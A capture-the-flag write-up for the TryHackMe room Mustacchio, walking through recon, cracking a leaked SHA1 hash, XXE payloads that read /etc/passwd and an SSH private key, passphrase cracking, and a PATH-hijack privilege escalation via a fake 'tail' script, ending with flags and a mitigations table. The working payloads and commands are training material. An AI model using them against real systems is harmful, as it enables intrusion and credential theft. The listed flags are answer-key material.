Platform: TryHackMe · Difficulty: Easy · Category: XXE Injection / SQLite Credential Leak / PATH Hijack

Introduction

Mustacchio is a barber shop themed box that hides its vulnerabilities with the same care the barber presumably puts into a clean shave — that is to say, not much. An exposed SQLite database in a JS directory, an admin panel on a non-standard port serving raw XML to a parser that trusts it completely, and a SUID binary that calls system utilities by name rather than by path. Each layer is independently preventable, and yet here we are. The box earns its difficulty from the chain length rather than the complexity of any individual step.

Recon

Full-range sweep with RustScan, Nmap for service and version fingerprinting:

rustscan -a 10.48.141.220 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV 
Port Service Version
22/tcp SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
80/tcp HTTP Apache httpd 2.4.18 (Ubuntu)

Standard two ports on the first pass. The homepage is a barber shop landing page. Nmap flags one robots.txt disallowed entry: /, which disallows everything and reveals nothing useful.

Feroxbuster with PHP, HTML, and TXT extensions:

feroxbuster -u http://10.48.141.220 \ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \ -x php,txt,html 

Most results are images and font files — cosmetic noise. The one hit that matters:

200 http://10.48.141.220/custom/js/users.bak # ^^^ database backup in a JS directory 

A .bak file sitting in a publicly browsable JavaScript directory is exactly as bad as it sounds.

file Downloads/users.bak 
SQLite 3.x database, last written using SQLite version 3034001 
sqlite3 Downloads/users.bak sqlite> .dump 
CREATE TABLE users(username text NOT NULL, password text NOT NULL); INSERT INTO users VALUES('admin','1868e36a6d2b17d4c2745f1659433a54d4bc5f4b'); 

Username admin, password as an unsalted SHA1 hash.

hashcat -m 100 1868e36a6d2b17d4c2745f1659433a54d4bc5f4b /usr/share/wordlists/rockyou.txt 
1868e36a6d2b17d4c2745f1659433a54d4bc5f4b:bulldog19 Status: Cracked Time: ~1 sec 

Admin password: bulldog19. SSH as admin was blocked immediately — the server only accepts publickey authentication. Rather than stalling, a second, deeper Nmap scan was run to check for services missed on the first pass:

nmap -sV -p- -T4 10.48.141.220 
8765/tcp open ultraseek-http # ^^^ missed on first scan 

Port 8765 — a non-standard HTTP port running nginx. admin:bulldog19 worked on a second login panel found there.

Foothold

The admin panel at port 8765 presents a single comment submission form. The POST body is a xml= parameter — a direct XML input. A JavaScript comment in the page source hints at /auth/dontforget.bak, and an HTML comment reads: Barry, you can now SSH in using your key!

Three useful signals: the parameter name, a backup file path, and a username.

cat Downloads/dontforget.bak 
<?xml version="1.0" encoding="UTF-8"?> <comment> <name>Joe Hamd</name> <author>Barry Clad</author> <com>...</com> </comment> 

The XML structure the parser expects is now known. When an application parses user-supplied XML and the parser has external entity processing enabled, an attacker can define a custom entity that references a file on the server's filesystem — effectively giving a file read primitive through the XML parser.

XXE payload to read /etc/passwd — confirming LFI:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <comment> <name>Joe Hamd</name> <author>Barry Clad</author> <com>&xxe;</com> </comment> 

Sent via Burp Suite as a URL-encoded POST to /home.php. The response rendered the full /etc/passwd contents inside the comment preview, confirming XXE-to-LFI. Two user accounts confirmed: joe (uid 1002) and barry (uid 1003).

XXE payload escalated to read Barry's SSH private key:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa" >]> <comment> <name>Joe Hamd</name> <author>Barry Clad</author> <com>&xxe;</com> </comment> 
# Response (truncated) -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,D137279D69A43E71BB7FCB87FC61D25E jqDJP+blUr+xMlASYB9t4gFyMl9VugHQJAylGZE6J/b1nG57... -----END RSA PRIVATE KEY----- 

Barry's encrypted SSH key extracted via the XML parser.

Shell / Access

ssh2john id_rsa > key.hash john --wordlist=/usr/share/wordlists/rockyou.txt key.hash 
id_rsa:urieljames 1 password hash cracked, 0 left 

Passphrase: urieljames.

ssh barry@10.48.141.220 -i id_rsa # Enter passphrase: urieljames 
barry@mustacchio:~$ cat user.txt 62d77a4d5f97d47c5aa38b3b2651b831 

Escalation

sudo -l failed — barry's sudo password isn't urieljames (the key passphrase is not the system password). On to SUID hunting.

find / -type f -perm -u=s 2>/dev/null 
/home/joe/live_log 

A SUID binary in another user's home directory, with a name suggesting it reads logs in real time.

strings /home/joe/live_log 
Live Nginx Log Reader tail -f /var/log/nginx/access.log # ^^^ relative path — no /usr/bin/tail 

When a program calls another program by name rather than by its full absolute path, the OS resolves the name by searching through the directories listed in $PATH, left to right, stopping at the first match. If an attacker can prepend a directory they control to $PATH and place a malicious executable with the same name there, the SUID binary will execute the malicious version — inheriting root privileges.

# Create fake tail that stamps SUID onto a bash copy echo -e '#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod +s /tmp/bash' > /tmp/tail chmod +x /tmp/tail # Prepend /tmp to PATH so our fake tail is found first export PATH=/tmp:$PATH # Trigger the SUID binary — it calls tail, finds ours first /home/joe/live_log 
Live Nginx Log Reader 
/tmp/bash -p 
bash-4.3# whoami root 
cat /root/root.txt 
3223581420d906c4dd1a5f9b530393a5 

Exploitation — The Full Chain

  1. users.bak SQLite database exposed in /custom/js/ → admin:SHA1 hash
  2. Hashcat cracked unsalted SHA1 → bulldog19
  3. Port 8765 (missed on first scan) → nginx admin panel, admin:bulldog19 worked
  4. XXE injection on XML POST parameter → LFI confirmed via /etc/passwd
  5. XXE escalated to read /home/barry/.ssh/id_rsa → encrypted SSH key extracted
  6. John the Ripper cracked SSH key passphrase → urieljames
  7. SSH as barry → user flag
  8. SUID binary /home/joe/live_log calls tail with relative path
  9. PATH hijack → fake tail in /tmp → SUID bash spawned
  10. /tmp/bash -p → root shell → root flag

Rabbit Holes

SSH as admin. After cracking bulldog19, the most obvious next step was SSH as admin. The server rejected it immediately: Permission denied (publickey). The admin account has no password authentication enabled, only publickey. The credentials were valid, just for the wrong service. Port 8765's admin panel was the actual target.

John the Ripper failing on the SHA1 hash. john was tried first and returned no results — the hash was already in John's potfile from a previous session, causing it to skip silently. Switching to Hashcat with -m 100 cracked it immediately. When John says "No password hashes left to crack," it often means the hash was already cracked in a prior run — always check john --show hash.txt before concluding the password is uncrackable.

Flags

Flag Value Location
User 62d77a4d5f97d47c5aa38b3b2651b831 /home/barry/user.txt
Root 3223581420d906c4dd1a5f9b530393a5 /root/root.txt

Mitigations

Vulnerability Severity Mitigation
Database backup exposed in web-accessible directory Critical Never store backup files under the webroot; move to a restricted off-web location and disable directory listing
Unsalted SHA1 password hash High Use bcrypt, Argon2, or PBKDF2 for password storage; SHA1 is a digest algorithm, not a password hash
XXE injection via unsanitised XML parser Critical Disable external entity processing in the XML parser; validate and sanitise all XML input
SSH private key readable via LFI High Restrict .ssh/ permissions to 700 and id_rsa to 600
SUID binary calling utilities by relative path Critical Always use absolute paths for system calls inside privileged binaries; audit all SUID binaries regularly
Admin panel on non-standard port with no rate limiting Medium Apply rate limiting and account lockout to all login endpoints regardless of port

Key Takeaway

XXE is not just an academic vulnerability — when a web application parses XML and reflects the output, a single malicious DOCTYPE declaration can turn the XML parser into a filesystem reader. Disabling external entities should be the default, not an afterthought.

Room: TryHackMe — Mustacchio